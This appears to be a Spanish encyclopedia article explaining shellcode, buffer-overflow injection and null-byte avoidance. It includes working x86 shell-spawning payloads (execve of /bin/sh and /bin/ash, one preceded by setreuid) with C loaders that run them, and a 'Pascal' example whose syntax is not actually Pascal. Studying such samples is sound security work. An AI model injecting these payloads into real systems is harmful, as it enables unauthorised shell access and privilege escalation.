Shellcode

Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes (conjunto de valores hexadecimales) que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.

Término 
El término shellcode deriva de su propósito general, esto era una porción de un exploit utilizada para obtener una shell, este es actualmente el propósito más común con que se utilizan.

Ejemplo de shellcode en Pascal 
Para ejecutar una shellcode generalmente suele utilizarse un lenguaje de más alto nivel, como es el caso del lenguaje Pascal.
Los opcodes obtenidos de nuestro código ensamblador son enlistados en una matriz de tipo byte y cargado en un prototipo para ser invocado.

Un ejemplo de un shellcode es el siguiente:
  Prototipo Ejec
  
  ' Variables.
  Var ShellCode[]:Byte ' Matriz de byte para los OpCode..
  Var Prototípo:Ejec   ' Prototipo que ejecutara el ShellCode.
  
  ' Inicializamos/cargamos el ShellCode.
  ShellCode =   [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _
  		,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _
  		,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _
  		,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _
  		,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _
  		,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _
  		,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe _
  		,&49,&0b,&31,&c0,&51,&50,&ff,&d7]
  
  'Le establecemos al prototipo código para ejecutar.
  Prototípo@ = ShellCode[0]@
  
  ' Ejecutamos el ShellCode.
  Prototípo
Como se puede apreciar, los opcodes son valores hexadecimales que son convertidos a bytes (valores enteros entre 0 a 255) y que el sistema operativo comprende como código ensamblador que ejecuta.

Ejemplo de shellcode en C 
En el siguiente ejemplo se muestra una shellcode contenida en un array de un programa escrito en lenguaje C:

char shellcode[]=          
    "\x31\xc0"             /* xorl    %eax,%eax   */
    "\x31\xdb"             /* xorl    %ebx,%ebx   */
    "\x31\xc9"             /* xorl    %ecx,%ecx   */
    "\xb0\x46"             /* movl    $0x46,%al   */
    "\xcd\x80"             /* int     $0x80       */
    "\x50"                 /* pushl   %eax        */
    "\x68""/ash"           /* pushl   $0x6873612f */
    "\x68""/bin"           /* pushl   $0x6e69622f */
    "\x89\xe3"             /* movl    %esp,%ebx   */
    "\x50"                 /* pushl   %eax        */
    "\x53"                 /* pushl   %ebx        */
    "\x89\xe1"             /* movl    %esp,%ecx   */
    "\xb0\x0b"             /* movb    $0x0b,%al   */
    "\xcd\x80"             /* int     $0x80       */
;

Así tenemos que una shellcode es código máquina escrito en notación hexadecimal. Posteriormente se utilizan dentro de programas escritos en C, como en el siguiente shellcode de ejemplo:

// shellcode.c 
// compilar con gcc shellcode.c -o shellcode
void main()
{
((void(*)(void))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}

O este otro:

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                   "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
                   "\x0b\xcd\x80";
int main()
{
    void (*fp)();
    fp = (void*) &shellcode;
    fp();
}

Información 
Las shellcodes deben ser cortas para poder ser inyectadas dentro de la pila, que generalmente suele ser un espacio reducido.

Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades en el código llamadas desbordamiento de búfer. Principalmente el shellcode se programa para permitir ejecutar un intérprete de comandos en el equipo infectado. 

Es común que en la compilación de una shellcode se produzcan bytes nulos, los cuales deben ser eliminados de la misma, ya que frenarían la ejecución de la shellcode. Para ello el programador se vale de diversas técnicas, como reemplazar las instrucciones que genera bytes NULL por otras que no lo hagan o realizar una operación XOR, mover hacia registros más pequeños (como AH, AL), y de esta forma permitir que la shellcode sea realmente inyectable.

Véase también 
 Seguridad informática.
 Inseguridad informática.
 Desbordamiento de búfer.
 Desbordamiento de pila.
 HoF .
 Exploit.
 Bug.
 Subdesbordamiento de búfer.

Lenguajes de programación
Hacking